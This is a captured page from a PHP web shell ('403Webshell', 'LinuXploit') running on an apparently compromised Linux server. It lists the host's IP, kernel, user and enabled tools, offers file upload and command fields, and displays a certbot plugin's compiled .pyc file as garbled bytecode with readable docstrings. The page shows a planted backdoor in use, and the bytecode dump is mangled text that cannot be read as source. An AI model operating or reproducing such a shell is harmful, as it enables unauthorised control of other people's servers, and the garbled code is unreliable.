403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/certbot/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/certbot/plugins/__pycache__/common.cpython-39.pyc
a

�`~8�@sLdZddlZddlZddlZddlZddlmZddlZddl	Z
ddlmZddl
mZddl
mZddl
mZddl
mZdd	l
mZdd
lmZddlmZddlmZdd
lmZe�e�Zdd�Zdd�Ze�d�Z e�dej!�Z"e
j#�$ej%�Gdd�de&��Z'Gdd�de'�Z(Gdd�de&�Z)Gdd�de&�Z*dd�Z+dd�Z,dS) zPlugin common functions.�N)�util)�List)�achallenges)�crypto_util)�errors)�
interfaces)�reverter)�	constants)�
filesystem)�os)�
PluginStoragecCs|dS)�9ArgumentParser options namespace (prefix of all options).�-���namerr�8/usr/lib/python3/dist-packages/certbot/plugins/common.py�option_namespacesrcCs|�dd�dS)�;ArgumentParser dest namespace (prefix of all destinations).r�_)�replacerrrr�dest_namespacesrzX(^127\.0\.0\.1)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^192\.168\.)z3^(([a-z0-9]|[a-z0-9][a-z0-9\-]*[a-z0-9])\.)*[a-z]+$c@sbeZdZdZdd�Zejdd��Zedd��Z	e
dd	��Zd
d�Ze
dd
��Z
dd�Zdd�ZdS)�PluginzGeneric plugin.cCs||_||_dS�N)�configr)�selfrrrrr�__init__0szPlugin.__init__cCsdS)z�Add plugin arguments to the CLI argument parser.

        :param callable add: Function that proxies calls to
            `argparse.ArgumentParser.add_argument` prepending options
            with unique plugin name prefix.

        Nr)�cls�addrrr�add_parser_arguments4szPlugin.add_parser_argumentscs��fdd�}|�|�S)zYInject parser options.

        See `~.IPlugin.inject_parser_options` for docs.

        cs$�jd�t��|�g|�Ri|��S)Nz--{0}{1})�add_argument�formatr)Zarg_name_no_prefix�args�kwargs�r�parserrrrFs���z)Plugin.inject_parser_options.<locals>.add)r)rr%rrrr$r�inject_parser_options>szPlugin.inject_parser_optionscCs
t|j�S)r
)rr�rrrrrLszPlugin.option_namespacecCs
|j|S)z'Option name (include plugin namespace).)r)rrrrr�option_nameQszPlugin.option_namecCs
t|j�S)r)rrr'rrrrUszPlugin.dest_namespacecCs|j|�dd�S)z.Find a destination for given variable ``var``.rr)rr�r�varrrr�destZszPlugin.destcCst|j|�|��S)z0Find a configuration value for variable ``var``.)�getattrrr+r)rrr�conf`szPlugin.confN)�__name__�
__module__�__qualname__�__doc__r�	jose_util�abstractclassmethodr�classmethodr&�propertyrr(rr+r-rrrrr*s
	



rcsleZdZdZ�fdd�Zddd�Zdd�Zd	d
�Zdd�Zddd�Z	e
dd��Ze
dd��Zdd�Z
�ZS)�	Installerz�An installer base class with reverter and ssl_dhparam methods defined.

    Installer plugins do not have to inherit from this class.

    cs8tt|�j|i|��t|j|j�|_t�|j�|_dSr)	�superr6rrrrZstoragerZReverter)rr"r#��	__class__rrrkszInstaller.__init__Fc
Cs^|r|jj}n|jj}z|||�Wn4tjyX}zt�t|���WYd}~n
d}~00dS)a�Add files to a checkpoint.

        :param set save_files: set of filepaths to save
        :param str save_notes: notes about changes during the save
        :param bool temporary: True if the files should be added to a
            temporary checkpoint rather than a permanent one. This is
            usually used for changes that will soon be reverted.

        :raises .errors.PluginError: when unable to add to checkpoint

        N)rZadd_to_temp_checkpoint�add_to_checkpointr�
ReverterError�PluginError�str)rZ
save_filesZ
save_notesZ	temporaryZcheckpoint_func�errrrrr:ps
zInstaller.add_to_checkpointc
CsJz|j�|�Wn4tjyD}zt�t|���WYd}~n
d}~00dS)z�Timestamp and save changes made through the reverter.

        :param str title: Title describing checkpoint

        :raises .errors.PluginError: when an error occurs

        N)r�finalize_checkpointrr;r<r=)r�titler>rrrr?�szInstaller.finalize_checkpointc
CsHz|j��Wn4tjyB}zt�t|���WYd}~n
d}~00dS)z�Revert all previously modified files.

        Reverts all modified files that have not been saved as a checkpoint

        :raises .errors.PluginError: If unable to recover the configuration

        N)r�recovery_routinerr;r<r=�rr>rrrrA�szInstaller.recovery_routinec
CsHz|j��Wn4tjyB}zt�t|���WYd}~n
d}~00dS)zkRollback temporary checkpoint.

        :raises .errors.PluginError: when unable to revert config

        N)r�revert_temporary_configrr;r<r=rBrrrrC�sz!Installer.revert_temporary_config�c
CsJz|j�|�Wn4tjyD}zt�t|���WYd}~n
d}~00dS)z�Rollback saved checkpoints.

        :param int rollback: Number of checkpoints to revert

        :raises .errors.PluginError: If there is a problem with the input or
            the function is unable to correctly revert the configuration

        N)r�rollback_checkpointsrr;r<r=)rZrollbackr>rrrrE�s	zInstaller.rollback_checkpointscCstj�|jjtj�S)z(Full absolute path to ssl_dhparams file.)r�path�joinr�
config_dirr	ZSSL_DHPARAMS_DESTr'rrr�ssl_dhparams�szInstaller.ssl_dhparamscCstj�|jjtj�S)z:Full absolute path to digest of updated ssl_dhparams file.)rrFrGrrHr	ZUPDATED_SSL_DHPARAMS_DIGESTr'rrr�updated_ssl_dhparams_digest�sz%Installer.updated_ssl_dhparams_digestcCst|j|jtjtj�S)zJCopy Certbot's ssl_dhparams file into the system's config dir if required.)�install_version_controlled_filerIrJr	ZSSL_DHPARAMS_SRCZALL_SSL_DHPARAMS_HASHESr'rrr�install_ssl_dhparams�s�zInstaller.install_ssl_dhparams)F)rD)r.r/r0r1rr:r?rArCrEr5rIrJrL�
__classcell__rrr8rr6es





r6c@sveZdZdZddd�Zedd��Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�Addrz�Represents an virtual host address.

    :param str addr: addr part of vhost address
    :param str port: port number or \*, or ""

    FcCs||_||_dSr)�tup�ipv6)rrOrPrrrr�sz
Addr.__init__cCs�|�d�rh|�d�}|d|d�}d}t|�|dkrX||ddkrX||dd�}|||fdd	�S|�d�}||d
|df�SdS)zInitialize Addr from string.�[�]NrD���:T)rPr)�
startswith�rfind�len�	partition)rZstr_addrZendIndexZhost�portrOrrr�
fromstring�s

 
zAddr.fromstringcCs|jdrd|jS|jdS)NrDz%s:%sr�rOr'rrr�__str__�s

zAddr.__str__cCs|jr|��|jdfS|jS)z5Normalized representation of addr/port tuple
        rD)rP�get_ipv6_explodedrOr'rrr�normalized_tuple�szAddr.normalized_tuplecCs t||j�r|��|��kSdS)NF)�
isinstancer9r_)r�otherrrr�__eq__�szAddr.__eq__cCs
t|j�Sr)�hashrOr'rrr�__hash__�sz
Addr.__hash__cCs
|jdS)z Return addr part of Addr object.rr\r'rrr�get_addr�sz
Addr.get_addrcCs
|jdS)zReturn port.rDr\r'rrr�get_portsz
Addr.get_portcCs|�|jd|f|j�S)z6Return new address object with same addr and new port.r)r9rOrP)rrZrrr�get_addr_objszAddr.get_addr_objcCs|�d�}|�d�}|�|�S)z7Return IPv6 address in normalized form, helper functionrQrR)�lstrip�rstrip�
_explode_ipv6)r�addrrrr�_normalize_ipv6	s

zAddr._normalize_ipv6cCs |jrd�|�|jd��SdS)zReturn IPv6 in normalized formrUrrS)rPrGrlrOr'rrrr^szAddr.get_ipv6_explodedcCs�gd�}|�d�}t|�t|�kr2|dt|��}d}t|�D]N\}}|sPd}q>t|�dkrf|�d�}|sxt|�||<q>t|�||t|�<q>|S)z#Explode IPv6 address for comparison)�0rmrmrmrmrmrmrmrUrFTrDrm)�splitrX�	enumeraterhr=)rrk�resultZ	addr_listZ
append_to_end�i�blockrrrrjs

zAddr._explode_ipv6N)F)r.r/r0r1rr4r[r]r_rbrdrerfrgrlr^rjrrrrrN�s

rNc@s*eZdZdZdd�Zd	dd�Zdd�ZdS)
�ChallengePerformeravAbstract base for challenge performers.

    :ivar configurator: Authenticator and installer plugin
    :ivar achalls: Annotated challenges
    :vartype achalls: `list` of `.KeyAuthorizationAnnotatedChallenge`
    :ivar indices: Holds the indices of challenges from a larger array
        so the user of the class doesn't have to.
    :vartype indices: `list` of `int`

    cCs||_g|_g|_dSr)�configurator�achalls�indices)rrtrrrr:szChallengePerformer.__init__NcCs$|j�|�|dur |j�|�dS)z�Store challenge to be performed when perform() is called.

        :param .KeyAuthorizationAnnotatedChallenge achall: Annotated
            challenge.
        :param int idx: index to challenge in a larger array

        N)ru�appendrv)rZachall�idxrrr�	add_chall?szChallengePerformer.add_challcCs
t��dS)z�Perform all added challenges.

        :returns: challenge responses
        :rtype: `list` of `acme.challenges.KeyAuthorizationChallengeResponse`


        N)�NotImplementedErrorr'rrr�performKszChallengePerformer.perform)N)r.r/r0r1rryr{rrrrrs.s
rscs�t������fdd�����fdd�}tj���s>|�dSt���}|�krTdS||vrd|�n`tj���r�t�d��}|��}Wd�n1s�0Y|�kr�dS��t�d����dS)a�Copy a file into an active location (likely the system's config dir) if required.

       :param str dest_path: destination path for version controlled file
       :param str digest_path: path to save a digest of the file in
       :param str src_path: path to version controlled file found in distribution
       :param list all_hashes: hashes of every released version of the file
    cs8t�d��}|���Wd�n1s*0YdS)N�w)�open�write)�f)�current_hash�digest_pathrr�_write_current_hash`sz<install_version_controlled_file.<locals>._write_current_hashcst������dSr)�shutilZcopyfiler)r��	dest_path�src_pathrr�_install_current_filedsz>install_version_controlled_file.<locals>._install_current_fileN�rzh%s has been manually modified; updated file saved to %s. We recommend updating %s for security purposes.)	rZ	sha256sumrrF�isfiler}�read�loggerZwarning)r�r�r�Z
all_hashesr�Zactive_file_digestrZsaved_digestr)r�r�r�r�r�rrKVs(

&�rKcCs�dd�}|d�}|d�}|d�}t�|tj�t�|tj�t�|tj�t�|tj�d|��}t	j
|tj�||�dd�|||fS)	z5Setup the directories necessary for the configurator.cSst�t�|��S)a�Return the real path of a temp directory with the specified prefix

        Some plugins rely on real paths of symlinks for working correctly. For
        example, certbot-apache uses real paths of configuration files to tell
        a virtual host from another. On systems where TMP itself is a symbolic
        link, (ex: OS X) such plugins will be confused. This function prevents
        such a case.
        )r
�realpath�tempfileZmkdtemp)�prefixrrr�expanded_tempdir�s	z#dir_setup.<locals>.expanded_tempdirZtemprZworkZtestdataT)Zsymlinks)r
�chmodr	ZCONFIG_DIRS_MODE�
pkg_resourcesZresource_filenamerrFrGr�Zcopytree)Ztest_dir�pkgr�Ztemp_dirrHZwork_dirZtest_configsrrr�	dir_setup�s��r�)-r1Zlogging�rer�r�Zjosepyrr2r�Zzope.interface�zopeZacme.magic_typingrZcertbotrrrrrZcertbot._internalr	Zcertbot.compatr
rZcertbot.plugins.storagerZ	getLoggerr.r�rr�compileZprivate_ips_regex�
IGNORECASEZhostname_regexZ	interfaceZimplementerZIPlugin�objectrr6rNrsrKr�rrrr�<module>sB
��:gb(2

Youez - 2016 - github.com/yon3zu
LinuXploit